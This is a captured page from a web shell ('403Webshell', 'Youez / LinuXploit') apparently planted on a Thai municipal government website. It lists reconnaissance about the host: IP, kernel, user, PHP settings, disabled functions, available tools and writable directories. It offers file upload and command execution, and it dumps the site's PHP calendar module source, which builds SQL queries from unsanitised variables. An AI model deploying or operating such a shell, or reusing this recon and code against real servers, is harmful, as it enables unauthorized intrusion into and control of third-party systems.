403Webshell
Server IP : 119.59.102.212  /  Your IP : 3.22.217.190
Web Server : Apache/2
System : Linux narin 2.6.32-042stab142.1 #1 SMP Tue Jan 28 23:44:17 MSK 2020 x86_64
User : yangkam ( 1022)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/yangkam/domains/yangkam.go.th/public_html/coremain/module/calendar/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yangkam/domains/yangkam.go.th/public_html/coremain/module/calendar/calendar.php
<?php
$per = id_top_permission("2");
if(!isset($_SESSION))
	session_start();
import_request_variables('pG', 'p_');
if($p_Y!="")			{	     $Y=trim($p_Y);		}
if($p_m!="")			{	     $m=trim($p_m);		}


	$contact = $_GET['contact'];
	$now=gmmktime();
	$lt=localtime($now,1);
	$is_dst=$lt["tm_isdst"];
	$now_year=intval(gmdate("Y",$now));
	$now_month=intval(gmdate("m",$now));
	$now_date=intval(gmdate("d",$now));	
	$now_hour=gmdate(gmdate("H",$now));
	$now_min=gmdate(gmdate("i",$now));
	$now_sec=gmdate(gmdate("s",$now));
	$nowthai_year=$now_year + 543;


if(!empty($_SERVER["PHP_SELF"]))
	$PHP_SELF=$_SERVER["PHP_SELF"];

if(!empty($_SERVER["SCRIPT_NAME"]))
	$SCRIPT_NAME=$_SERVER["SCRIPT_NAME"];

if(!empty($_SERVER["SERVER_NAME"]))
	$SERVER_NAME=$_SERVER["SERVER_NAME"];

if(!empty($_SERVER["REMOTE_ADDR"]))
	$REMOTE_ADDR=$_SERVER["REMOTE_ADDR"];



$_mo="จ";
$_tu="อ";
$_we="พ";
$_th="พฤ";
$_fr="ศ";
$_sa="ส";
$_su="อา";

$_month_name=array();
$_month_name[1]="มกราคม";
$_month_name[2]="กุมภาพันธ์";
$_month_name[3]="มีนาคม";
$_month_name[4]="เมษายน";
$_month_name[5]="พฤษภาคม";
$_month_name[6]="มิถุนายน";
$_month_name[7]="กรกฎาคม";
$_month_name[8]="สิงหาคม";
$_month_name[9]="กันยายน";
$_month_name[10]="ตุลาคม";
$_month_name[11]="พฤศจิกายน";
$_month_name[12]="ธันวาคม";


if(!empty($Y))
	$cal_year=$Y;
else
	$cal_year=$now_year;
	$thai_year=($cal_year) + 543;

if(!empty($m))
	$cal_month=$m;
else
	$cal_month=$now_month;



if(!empty($HTTP_GET_VARS["d"]))
	$cal_day=$HTTP_GET_VARS["d"];
else
	$cal_day=$now_day;



$cal_next_year = $cal_year;
if ($cal_month < 12) {
  $cal_next_month = $cal_month + 1;
} else {
  $cal_next_month = 1;
  $cal_next_year = $cal_year + 1;
}


$cal_prev_year = $cal_year;
if ($cal_month > 1) {
  $cal_prev_month = $cal_month - 1;
} else {
  $cal_prev_month = 12;
  $cal_prev_year = $cal_year - 1;
}

function num_days($year, $month) {
  $num = 31;
  while (!checkdate($month, $num, $year)) {
    $num--;
  }
  return $num;
}

?>
<fieldset class="canvas-corner">
<table width=100% border=0 cellspacing=1 cellpadding=0 bgcolor='<?php echo $_SESSION['tb_head_bgcolor'] ?>'>
  <tr>
    <td align=center class=norm width=10%><a href="index.php?Y=<?php echo $cal_prev_year ?>&m=<?php echo $cal_prev_month ?>"><IMG SRC="coremain/images/p.gif"  BORDER=0 ></a></td>
    <td align=center class=norm colspan=5> <?php echo $_month_name[$cal_month].' '.$thai_year ?> </td>
    <td align=center class=norm width=10%><a href="index.php?Y=<?php echo $cal_next_year ?>&m=<?php echo $cal_next_month ?>"><IMG SRC="coremain/images/n.gif"  BORDER=0 ></a></td>
  </tr>
  <tr align=center class=norm>
    <td width=10% bgcolor=<?php echo $datatm['color1'] ?>><font color=white><?php echo $_su ?></font></td>
    <td width=10% bgcolor=<?php echo $datatm['heder_color'] ?>><?php echo $_mo ?></td>
    <td width=10% bgcolor=<?php echo $datatm['heder_color'] ?>><?php echo $_tu ?></td>
    <td width=10% bgcolor=<?php echo $datatm['heder_color'] ?>><?php echo $_we ?></td>
    <td width=10% bgcolor=<?php echo $datatm['heder_color'] ?>><?php echo $_th ?></td>
    <td width=10% bgcolor=<?php echo $datatm['heder_color'] ?>><?php echo $_fr ?></td>
    <td width=10% bgcolor=<?php echo $datatm['heder_color'] ?>><?php echo $_sa ?></td>
  </tr>
<?php

if (($cal_year == $now_year) && ($cal_month == $now_month)) {
  $today_day = $now_day;
} else
  $today_day = 0;

$days_last_month = num_days($cal_prev_year, $cal_prev_month);
$days_this_month = num_days($cal_year, $cal_month);

$first_day_pos = gmdate("w", gmmktime(1, 0, 0, $cal_month, 2, $cal_year, $is_dst));
if ($first_day_pos == 0)
  $first_day_pos = 7;
$day_num = $days_last_month - ($first_day_pos - 2);
$class = "norm";

for($y = 1; $y <= 6; $y++){
  echo '<tr align="center">';
  for($x = 1; $x <= 7; $x++){
    if(($y == 1) && ($x == $first_day_pos)){
      $day_num = 1;
      $class = '';
    }
    if(($y > 1) && ($day_num == ($days_this_month + 1))){
      $day_num = 1;
      $class = 'norm';
    }
    
    if($class != ''){
      $ap1 = '';
      $ap2 = '';
    }else{
      $mydate = sprintf('%04d-%02d-%02d', $cal_year, $cal_month, $day_num);
      $dateshow = $day_num.' '.$_month_name[$cal_month].' '.($cal_year + 543);
      $ap1 = '<a href="javascript:void(0);" class="date num_showevent" id="'.$mydate.'#@#'.$dateshow.'">';
      $ap2 = '</a>';
    }
    if(($class == '') && ($day_num == $now_date)){
      echo '<td bgcolor="#ffcc33"><b>'. $ap1 . $day_num . $ap2 .'</b></td>';
    }else if($class == ''){
      $dates = substr($mydate, 8, 2);
      $ch_date = substr($dates, 0, 1);
      if ($ch_date == "0")
        $dates = substr($dates, 1, 1);
      $months = substr($mydate, 5, 2);
      $years = substr($mydate, 0, 4);
      $date_color = $dates . "-" . $months . "-" . $years;
      $sql = "SELECT date FROM cms_calendar WHERE `date`='$date_color'";
      $re = mysql_query($sql);
      $data = mysql_fetch_array($re);
      if ($data[0] != "") {// วันที่ที่มีจริงในแต่ละเดือน
        echo'<td bgcolor=#cccccc>' . $ap1 . '' . $day_num . $ap2 . '</td>' . "\n";
      } else {
        echo'<td bgcolor=#fdfef1>' . $ap1 . '' . $day_num . $ap2 . '</td>' . "\n";
      }
    }else{
      echo'<td class=today1  bgcolor=#ffffff><font color="#dbdbdb">' . $ap1 . $day_num . $ap2 . '</font></td>' . "\n";  // วันที่ที่ไม่มีจริงในแต่ละเดือน
    }
    
    ++$day_num;
  }
  echo '</tr>';
}
?>
  <tr>
    <td colspan=7 align=center bgcolor=#ffffff >วันที่ <?php echo $now_date.' '.$_month_name[$now_month].' '.$nowthai_year ?></td>
  </tr>
  <tr>
    <td colspan=7 bgcolor=#ffffff>
  <?php
	$sql = "SELECT * FROM cms_calendar WHERE date = '$date-$month-$year' ORDER BY id DESC";
    $re = mysql_query($sql);
    while ($data = mysql_fetch_array($re)) {
      echo " &nbsp;<img src='coremain/images/marker.gif' border=0> " . $data['event'] . "<br>";
    }
  ?>
    </td>
  </tr>
</table>
</fieldset>

</center>
<script language="JavaScript">
      
//      $ap0 = "coremain/module/calendar/showevent.php";
//      $ap1 = "<a href=javascript:open_window('" . $ap0 . "?per=$per&date=$day_num&month=$cal_month&year=$cal_year&dbname=$_SESSION[web_name]') class=date>";
//      $ap2 = '</a>';
  
  $('.num_showevent').click(function(){
    var show = $(this).attr('id').split('#@#');
    var arr = show[0].split('-');
    var arrData = [
      { name: 'per', value: '<?= $per ?>' },
      { name: 'date', value: arr[2] },
      { name: 'month', value: arr[1] },
      { name: 'year', value: arr[0] }
    ];
    var dialog = 'dialog-popup';
    var popup = $('#'+dialog);
    showDialog(dialog);
    popup.dialog('option', 'title', 'ปฏิทินงานประจำวันที่ '+show[1]);
    
    $.ajax({
      type: 'post',
      url: 'coremain/module/calendar/showevent.php',
      data: arrData,
      success: function(result){
        popup.html(result);
      }
    });
  });
  
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit